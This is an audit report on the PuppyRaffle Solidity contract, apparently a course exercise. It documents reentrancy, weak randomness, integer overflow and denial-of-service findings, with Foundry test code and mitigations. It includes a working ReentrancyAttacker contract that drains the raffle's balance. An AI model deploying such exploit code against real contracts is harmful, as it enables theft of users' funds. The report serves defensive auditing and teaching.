PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

October 2, 2024

Protocol Audit Report

Dheeraj K

October 2, 2024

Prepared by: Dheeraj Lead Auditors:

- Dheeraj Kumar

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The YOUR_NAME_HERE team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
# --- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I enjoyed auditing this codebase. This is what we are here to do, help make web3 more secure.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Gas	2
Informational	7
Total	15

Findings

High

[H-1]: Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after that do we update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
7  @>      players[playerIndex] = address(0);
8          emit RaffleRefunded(playerAddress);
9      }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again to claim another refund. They could continue doing so until they drain the entire contract balance.

Impact: All the fees paid by the raffle entrants could be stolen by the malicious actor.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a contract that has `receive`/`fallback` function implemented. This contract would call `PuppyRaffle::refund` function.
3. Attacker enters the raffle.
4. Attacker calls the `PuppyRaffle::refund` function from their attacking contract, draining the balance of the `PuppyRaffle` contract.

Proof of Code:

Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
1      function test_refundReentrancy() public {
2          address[] memory players = new address[](4);
```

```
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attacker = new ReentrancyAttacker(address(
            puppyRaffle));
        uint256 attackerStartingBal = address(attacker).balance;
        uint256 raffleStartingBal = address(puppyRaffle).balance;
        console.log("raffle start bal: ", raffleStartingBal);
        console.log("attacker start bal: ", attackerStartingBal);

        hoax(address(attacker), 1 ether);
        attacker.attack();

        uint256 attackerEndingBal = address(attacker).balance;
        uint256 raffleEndingBal = address(puppyRaffle).balance;
        console.log("raffle end bal: ", raffleEndingBal);
        console.log("attacker end bal: ", attackerEndingBal);
    }
```

Also add the below `Attacker` contract.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 playerIndex;

    constructor(address _puppyRaffle) {
        puppyRaffle = PuppyRaffle(_puppyRaffle);
    }

    function attack() public payable {
        address[] memory player = new address[](1);
        player[0] = address(this);
        puppyRaffle.enterRaffle{value: 1e18}(player);
        playerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(playerIndex);
    }

    receive() external payable {
        if (address(puppyRaffle).balance >= 1 ether) {
            puppyRaffle.refund(playerIndex);
        }
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `PuppyRaffle::players` array before making the external call. Also, we should emit the event after the state update and before we make that external call.

```
1       function refund(uint256 playerIndex) public {
2           address playerAddress = players[playerIndex];
3           require(playerAddress == msg.sender, "PuppyRaffle: Only the
                player can refund");
4           require(playerAddress != address(0), "PuppyRaffle: Player
                already refunded, or is not active");
5
6   +       players[playerIndex] = address(0);
7   +       emit RaffleRefunded(playerAddress);
8           payable(msg.sender).sendValue(entranceFee);
9
10  -       players[playerIndex] = address(0);
11  -       emit RaffleRefunded(playerAddress);
12      }
```

[H-2]: Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable number. This number is not a good random number as the malicious users could manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means user could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the raffle's winner, thus winning the money and the rarest puppy. This would make the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when and how to participate. See the solidity blog on prevrandao. `block.difficulty` is recently replaced by prevrandao.
2. Users can mine/manipulate `msg.sender` value to result in their address being used as the generated winner.
3. Users can revert their `selectWinner` transaction if the resulting winner or the selected puppy does not favours them.

Using on-chain values as a randomness seed is a well-documented attack vector

Recommended Mitigation: Consider using cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, the `totalFees` are accumulated for the `feeAddress` to collect later through `PuppyRaffle::withdrawFees` function. However, if the `totalFees` variable overflows, the `feeAddress` may not be able to collect the correct amount of fees, leaving the fees stuck permanently in the contract.

Proof of Concept: 1. We conclude a raffle for 100 players. 2. `totalFees` to be collected by `feeAddress` will be:

```
totalFees = totalFees + uint64(fee);
// or
totalFees = 0 + 2000000000000000000;
// and this will overflow
totalFees = 1553255926290448384;
```

3. you will not be able to withdraw limit due to below lines in `withdrawFees` function:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
    function test_integer_overflow_totalfees() public {
        uint256 numOfPlayers = 100;
        address[] memory players = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; i++) {
            players[i] = address(i);
        }
        uint256 totalEntranceFees = entranceFee * numOfPlayers;
        puppyRaffle.enterRaffle{value: totalEntranceFees}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

```

```
15          uint256 expectedFeeAddressBal = entranceFee * numOfPlayers * 20
                / 100;
16          console.log("expected total fee: ", expectedFeeAddressBal);
17
18          uint256 totalFees = puppyRaffle.totalFees();
19          console.log("totalFees for owner: ", totalFees);
20
21          assert(expectedFeeAddressBal > totalFees);
22      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`.
2. You could also use the `SafeMath` library of OpenZeppelin for solidity version 0.7.6, however the issue would still be there if you use `uint64` when high amounts of fees are collected.
3. Remove the strict equality balance check from `PuppyRaffle::withdrawFees` function.

```
1 -   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through `players` array to check for duplicated. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be substantially lower than for those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1 // @audit - DoS
2         for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6249925 gas
- 2nd 100 players: ~18068015 gas

This is more than 3x expensive for the second 100 players.

PoC

Place the followinf test into `PuppyRaffleTest.t.sol`.

```
    function testPuppyRaffleDoSAttack() public {
        uint256 numOfPlayers = 100;
        address[] memory listOne = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; i++) {
            listOne[i] = address(i);
        }
        uint256 entrance_fees = entranceFee * 100;
        uint256 gasStartOne = gasleft();
        puppyRaffle.enterRaffle{value: entrance_fees}(listOne);
        uint256 gasEndOne = gasleft();
        console.log("Gas used by first: ", gasStartOne - gasEndOne);

        address[] memory listTwo = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; i++) {
            listTwo[i] = address(i + numOfPlayers);
        }
        uint256 gasStartTwo = gasleft();
        puppyRaffle.enterRaffle{value: entrance_fees}(listTwo);
        uint256 gasEndTwo = gasleft();
        console.log("Gas used by second: ", gasStartTwo - gasEndTwo);
    }
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in a constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle id.

```
+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;
    .
```

```
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10  +           addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13  -       // Check for duplicates
14  +       // Check for duplicates only from new players
15  +       for (uint256 i = 0; i < newPlayers.length; i++) {
16  +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
        PuppyRaffle: Duplicate player");
17  +       }
18  -       for (uint256 i = 0; i < players.length - 1; i++) {
19  -           for (uint256 j = i + 1; j < players.length; j++) {
20  -               require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
21  -           }
22  -       }
23          emit RaffleEnter(newPlayers);
24      }
25      .
26      .
27      .
28      function selectWinner() external {
29  +       raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
31      }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2]: Smart contract wallets raffle winner without a `receive` or a `fallback` function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for selecting the winner for current raffle and resetting the lottery. However, if the winner is a smart contract wallet that rejects the winning payout, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times making the lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enters the raffle without any `fallback` or `receive` function.
2. The lottery time ends.
3. The `selectWinner` function wouldn't work, even though the lottery is over.

Recommended Mitigation: There are a few options that could be adopted to mitigate this issue.

1. Do not allow smart contract wallet entrants to participate in the lottery. (not recommended)
2. Create a mapping of addresses -> payout amounts so winners could pull their funds out themselves with a `claimPrize` function, putting the owness on the winner to claim their prizes. (Recommended)

> Pull over push

Low

[L-1]: `PuppyRaffle::getActivePlayerIndex` function returns 0 for non-existent players and also for player at index 0. This would make player at index 0 think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player does not exist in the array.

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: The player at index 0 may incorrectly think that they have not entered the raffle and may try to re-enter again, causing them more gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0

3. User thinks they have not entered correctly due to function documentation

Recommended Mitigation: The easy recommendation would be to revert if the user does not exist in the array instead of returning 0.

Another way could be to return `int256` where the function returns -1 if the player is inactive.

Gas

[G-1]: Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variables.

Instances: `PuppyRaffle::raffleDuration` should be `immutable`. `PuppyRaffle::commonImageUri` should be `constant`. `PuppyRaffle::rareImageUri` should be `constant`. `PuppyRaffle::legendaryImageUri` should be `constant`.

[G-2]: Storage variables in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+       uint256 playersLength = players.length;
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2]: Using an outdated version of Solidity is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 63

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 173

```
1           feeAddress = newFeeAddress;
```

[I-4]: `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep the code clean and follow CEI (Checks, Effects, Interactions).

```
1  -        (bool success,) = winner.call{value: prizePool}(""); // q can
   this revert? What if winner is a contract?
2  -        require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
3           _safeMint(winner, tokenId);
4  +        (bool success,) = winner.call{value: prizePool}(""); // q can
   this revert? What if winner is a contract?
5  +        require(success, "PuppyRaffle: Failed to send prize pool to
   winner");
```

[I-5]: Use of magic numbers is discouraged

It can be confusing to see number literals in a codebase. Using giving them names would make them more readable.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant PRECISION = 100;
```

[I-6]: State changes are missing events

[I-7]: `PuppyRaffle::_isActivePlayer` is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
function _isActivePlayer() internal view returns (bool) {
-       for (uint256 i = 0; i < players.length; i++) {
-           if (players[i] == msg.sender) {
-               return true;
-           }
-       }
-       return false;
-   }
```